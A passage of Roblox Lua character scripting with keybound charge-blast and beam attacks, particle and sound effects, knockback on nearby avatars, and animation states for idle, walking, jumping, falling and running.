Vector3.new(1,1,1) swait() end blastborb:Remove() swait() end downpress = true while charging and x < 5 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3) x = x + .1 blastborb = Instance.new("Part",Torso) blastborb.CFrame = rightlocation.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) blastborb.BrickColor = BrickColor.new(colors) blastborb.Anchored = true blastborb.Size = Vector3.new(10,10,10) blastborb.CanCollide = false blastborb.Material = "Neon" for i = 1, 5 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4) blastborb.Size = blastborb.Size - Vector3.new(1,1,1) swait() end blastborb:Remove() swait() end coroutine.wrap(function() for i = 1, 20 do Charge.Volume = Charge.Volume - .5 swait() end end)() local bigswoosh = Instance.new("Part",Torso) bigswoosh.Name = "bigswoosh" bigswoosh.CFrame = Root.CFrame * CFrame.new(1,0,-5) bigswoosh.Size = Vector3.new(1,1,1) bigswoosh.Material = "Neon" bigswoosh.Anchored = true bigswoosh.Transparency = 1 bigswoosh.BrickColor = BrickColor.new("Really red") bigswoosh.CanCollide = false SOUND(bigswoosh,842332424,10,false,6) SOUND(bigswoosh,2017948224,10,false,6) SOUND(bigswoosh,138677306,10,false,4) coroutine.wrap(function() local loc1 = Instance.new("Part",bigswoosh) loc1.CFrame = bigswoosh.CFrame * CFrame.new(-3,0,0) loc1.Size = Vector3.new(2,2,2) loc1.Anchored = true loc1.Transparency = 1 loc1.CanCollide = false local loc2 = Instance.new("Part",bigswoosh) loc2.CFrame = bigswoosh.CFrame * CFrame.new(3,0,0) loc2.Size = Vector3.new(2,2,2) loc2.Anchored = true loc2.Transparency = 1 loc2.CanCollide = false n = 0 nb = 0 for i = 1, 125 do n = n + x nb = nb - x Hit = damagealll(n,bigswoosh.Position) for _,v in pairs(Hit) do if x > 4.5 then else end vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(bigswoosh.Position,torso.Position).lookVector*150 removeuseless:AddItem(vel,.1) end local bigtrail = Instance.new("Part",LeftArm) bigtrail.Size = bigswoosh.Size bigtrail.BrickColor = BrickColor.new(colors) bigtrail.Anchored = true bigtrail.Material = "Neon" bigtrail.CFrame = bigswoosh.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) bigtrail.CanCollide = false removeuseless:AddItem(bigtrail,2) local irritatedground = Instance.new("Part",Torso) irritatedground.Size = Vector3.new(n*1.5,1,3*x) irritatedground.BrickColor = BrickColor.new(colors) irritatedground.Material = "Neon" irritatedground.CFrame = bigswoosh.CFrame * CFrame.new(0,-6,0) irritatedground.CanCollide = false irritatedground.Anchored = true removeuseless:AddItem(irritatedground,10) local grassblocks = Instance.new("Part",Torso) grassblocks.Size = Vector3.new(n/2,n/2,n/2) grassblocks.Material = "Grass" grassblocks.Anchored = true grassblocks.Name = "grassblocks" grassblocks.BrickColor = BrickColor.new("Bright green") grassblocks.CFrame = loc1.CFrame * CFrame.new(0,-1,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(grassblocks,10) local grassblocks2 = Instance.new("Part",Torso) grassblocks2.Size = Vector3.new(n/2,n/2,n/2) grassblocks2.Material = "Grass" grassblocks2.Anchored = true grassblocks2.Name = "grassblocks2" grassblocks2.BrickColor = BrickColor.new("Bright green") grassblocks2.CFrame = loc2.CFrame * CFrame.new(0,-1,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(grassblocks2,10) bigswoosh.Size = bigswoosh.Size + Vector3.new(x,x,x) loc1.CFrame = bigswoosh.CFrame * CFrame.new(n,-3,0) loc2.CFrame = bigswoosh.CFrame * CFrame.new(nb,-3,0) bigswoosh.CFrame = bigswoosh.CFrame * CFrame.new(0,0,-3 - x) swait() end for i = 1, 20 do bigswoosh.CFrame = bigswoosh.CFrame * CFrame.new(0,0,-3) bigswoosh.Transparency = bigswoosh.Transparency + 0.05 swait() end bigswoosh:Remove() end)() for i = 1, 50 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(10),math.rad(15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.2,1,.5) * CFrame.Angles(math.rad(-90),math.rad(-25),math.rad(0)), 0.5) swait() end ws = 50 attacking = false debounce = false appi = false g1:Remove() end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='k' then if not levitate then return end if debounce then return end debounce = true attacking = true charging = true appi = true coroutine.wrap(function() while appi do swait() if Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle3" end end end)() coroutine.wrap(function() while appi do swait() settime = 0.05 sine = sine + change if position == "Idle3" and attacking == true and appi == true then change = .4 RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1) LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4) end end end)() ws = 0 g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) g1.CFrame = CFrame.new(Root.Position,mouse.Hit.p) for i = 1, 15 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)),.3) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-90)), 0.3) swait() end r = 0 for i = 1, 10 do r = r + .1 g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3) blass = Instance.new("Part",RightArm) blass.Size = Vector3.new(r,r,r) blass.Material = "Neon" blass.CFrame = rightlocation.CFrame * CFrame.new(0,-r/1.5,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) blass.Anchored = true blass.CanCollide = false blass.BrickColor = BrickColor.new(colors) removeuseless:AddItem(blass,2) swait() end while r < 16 and charging == true do r = r + .1 g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3) blass = Instance.new("Part",RightArm) blass.Size = Vector3.new(r,r,r) blass.Material = "Neon" blass.CFrame = rightlocation.CFrame * CFrame.new(0,-r/1.5,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) blass.Anchored = true blass.CanCollide = false blass.BrickColor = BrickColor.new(colors) removeuseless:AddItem(blass,2) swait() end local TheBeam = Instance.new("Part",RightArm) TheBeam.Name = "zebeam" TheBeam.Size = Vector3.new(1,1,1) TheBeam.Material = "Neon" TheBeam.Shape = "Cylinder" TheBeam.BrickColor = BrickColor.new("Really red") TheBeam.Anchored = true TheBeam.CanCollide = false ws = 12 bemmo = Instance.new("Sound",RightArm) bemmo.SoundId = "rbxassetid://1910988873" bemmo.Volume = 8 bemmo.Looped = false bemmo:Play() bemmo.TimePosition = 2 for i = 1, 100 * r/3 do if r > 15 then hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-0,0)) end g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3) local blass = Instance.new("Part",RightArm) blass.Size = Vector3.new(r,r,r) blass.Material = "Neon" blass.CFrame = rightlocation.CFrame * CFrame.new(0,-r/1.5,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) blass.Anchored = true blass.CanCollide = false blass.BrickColor = BrickColor.new(colors) removeuseless:AddItem(blass,2) local STARTPOS = blass.CFrame*CFrame.new(0,0,0).p local ENDHIT,ENDPOS = ray2(STARTPOS,mouse.Hit.p,650,Character) local DISTANCE = (STARTPOS - ENDPOS).magnitude TheBeam.CFrame = CFrame.new(STARTPOS,ENDPOS)*CFrame.new(0,0,-DISTANCE/2) * CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)) TheBeam.Size = Vector3.new(DISTANCE,r/math.random(1,2),r/math.random(1,2)) boom = Instance.new("Part",RightArm) boom.Size = Vector3.new(r,r,r) boom.BrickColor = BrickColor.new(colors) boom.Anchored = true boom.CanCollide = false boom.Material = "Neon" boom.CFrame = CFrame.new(ENDPOS) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(boom,3) boom.Touched:connect(function(getbase) if hitdebounce then return end hitdebounce = true if getbase:IsA("Part") then damagedground = Instance.new("Part",RightArm) damagedground.Size = Vector3.new(.1,5+r,.1) damagedground.Material = "Neon" damagedground.CanCollide = false damagedground.BrickColor = BrickColor.new(colors) damagedground.Anchored = true damagedground.CFrame = boom.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(damagedground,2) wait(.1) hitdebounce = false end end) Hit = damagealll(r+3,boom.Position) for _,v in pairs(Hit) do vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(boom.Position,torso.Position).lookVector*r removeuseless:AddItem(vel,.1) end swait() end removeuseless:AddItem(g1,.001) coroutine.wrap(function() for i = 1, 20 do bemmo.Volume = bemmo.Volume - 0.5 blass.Transparency = blass.Transparency + 0.05 TheBeam.Transparency = TheBeam.Transparency + 0.05 swait() end bemmo:Remove() if r > 15 then hum.CameraOffset = Vector3.new(0,0,0) end blass:Remove() TheBeam:Remove() end)() ws = 50 appi = false attacking = false debounce = false end end) mouse.KeyUp:connect(function(Press) Press=Press:lower() if Press=='j' then charging = false end end) mouse.KeyUp:connect(function(Press) Press=Press:lower() if Press=='k' then charging = false end end) doit = coroutine.wrap(function() while true do for _,v in pairs(Repeater) do v.Scale = v.Scale + Vector3.new(1, 1, 1) end for _,v in pairs(openshocktable) do v.Scale = v.Scale + Vector3.new(3, 3, 3) end for _,v in pairs(nonmeshRepeater) do v.Size = v.Size + Vector3.new(2, 2, 2) end for _,v in pairs(Extreme) do v.Size = v.Size + Vector3.new(6, 6, 6) end for _,v in pairs(LessSize) do v.Size = v.Size - Vector3.new(1, 1, 1) end for _,v in pairs(nonmeshRepeater2) do v.Transparency = v.Transparency + 0.05 end for _,v in pairs(Repeater2) do v.Transparency = v.Transparency - 0.05 end for _,v in pairs(th1) do v.CFrame = v.CFrame * CFrame.new(0,0+.3,0) * CFrame.Angles(0,math.rad(0+8),0) end for _,v in pairs(th2) do v.CFrame = v.CFrame * CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0+15),0) end for _,v in pairs(th3) do v.Scale = v.Scale + Vector3.new(2, 2, 2) end for _,v in pairs(th5) do v.Scale = v.Scale + Vector3.new(1, .1, 1) end for _,v in pairs(ExtremeM) do v.Size = v.Size + Vector3.new(8, 8, 8) end for _,v in pairs(m3) do v.Scale = v.Scale + Vector3.new(.2,.2,.2) end for _,v in pairs(ExtremeM2) do v.Size = v.Size - Vector3.new(2,2,2) end for _,v in pairs(keyYsize) do v.Scale = v.Scale + Vector3.new(8, 8, 1) end for _,v in pairs(th4) do v.Transparency = v.Transparency + 0.009 v.Rotation = v.Rotation + Vector3.new(3,0,0) end for _,v in pairs(SlowlyFade) do v.Transparency = v.Transparency + 0.05 end for _,v in pairs(keyYtransparency) do v.Transparency = v.Transparency + 0.05 end for _,v in pairs(UpMover) do v.Position = v.Position + Vector3.new(0, 3, 0) end for _,v in pairs(ForwardMover) do v.CFrame = v.CFrame * CFrame.new(0, 0, 2.4 +(i/.1)) * CFrame.Angles(0, 0, math.rad(0)) end for _,v in pairs(FadeIn) do v.Transparency = v.Transparency - .05 end for _,v in pairs(signtransparency) do v.TextTransparency = v.TextTransparency + 0.025 end for _,v in pairs(signmover) do v.StudsOffset = v.StudsOffset + Vector3.new(math.random(-2,2),.3,math.random(-2,2)) end for _,v in pairs(signrotator) do v.Rotation = v.Rotation + 2 end swait() end end) doit() t = 0 mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='0' then if levitate then return end shoov = true if debounce then return end ws = 50 end end) mouse.KeyUp:connect(function(Press) Press=Press:lower() if Press=='0' then if levitate then return end shoov = false if debounce then return end ws = 10 end end) local anims = coroutine.wrap(function() while true do settime = 0.05 sine = sine + change if position == "Jump" and attacking == false then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(-3),math.rad(-4)), 0.4) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Jump2" and attacking == false and levitate then change = 1 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20 - 1 * math.sin(sine/9)), math.rad(0 + 0 * math.cos(sine/8)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(10 * math.cos(sine/10))), 0.3) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.54, 2.0 + .02 * math.sin(sine/9), 0.2 + .1 * math.sin(sine/9)) * CFrame.Angles(math.rad(25 + 5 * math.sin(sine/9)), math.rad(20), math.rad(0)), 0.3) elseif position == "Falling" and attacking == false and levitate == false then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(20)), 0.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2) elseif position == "Falling2" and attacking == false and levitate then change = 1 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20 - 1 * math.sin(sine/9)), math.rad(0 + 0 * math.cos(sine/8)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(10 * math.cos(sine/10))), 0.3) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.54, 2.0 + .02 * math.sin(sine/9), 0.2 + .1 * math.sin(sine/9)) * CFrame.Angles(math.rad(25 + 5 * math.sin(sine/9)), math.rad(20), math.rad(0)), 0.3) elseif position == "Walking" and attacking == false and running == false then change = 1 walking = true LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-10), math.rad(5 * math.cos(sine/7)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/10))), 0.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) elseif position == "Idle" and attacking == false and running == false and not levitate then change = .5 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.1) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.1) elseif position == "Idle2" and attacking == false and running == false then change = .75 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0 - 3 * math.sin(sine/9)),0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1) LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 - 3 * math.sin(sine/9)), math.rad(-35 + 5 * math.sin(sine/9))), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4) elseif position == "Walking2" and attacking == false and running == false then ws = 50 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20 - 1 * math.sin(sine/9)), math.rad(0 + 0 * math.cos(sine/8)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(10 * math.cos(sine/10))), 0.3) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.54, 2.0 + .02 * math.sin(sine/9), 0.2 + .1 * math.sin(sine/9)) * CFrame.Angles(math.rad(25 + 5 * math.sin(sine/9)), math.rad(20), math.rad(0)), 0.3) elseif position == "Running" and attacking == false then change = 1 RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(1.24+.6*math.sin(sine/4)/1.4, 0.54, 0+0.8*math.sin(sine/4)) * CFrame.Angles(math.rad(6-140*math.sin(sine/4)/1.2), math.rad(0), math.rad(-20+70*math.sin(sine/4))), 0.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(0, .5, 0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-1.24+.6*math.sin(sine/4)/1.4, 0.54, 0-0.8*math.sin(sine/4))*CFrame.Angles(math.rad(6+140*math.sin(sine/4)/1.2), math.rad(0), math.rad(20+70*math.sin(sine/4))), 0.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(0,.5,0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(-20 - 0 * math.sin(sine/4)), math.rad(0 + 6 * math.sin(sine/4)), math.rad(0) + Root.RotVelocity.Y / 30, math.sin(10 * math.sin(sine/4))), 0.3) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,-.2 + .5*-math.sin(sine/4)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.6+0.1*math.sin(sine/4),.7*-math.sin(sine/4)) * CFrame.Angles(math.rad(15+ -50 * math.sin(sine/4)),0,0),.3) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,-.2 + .5*math.sin(sine/4)),.3) LEFTLEGLERP.C0 = 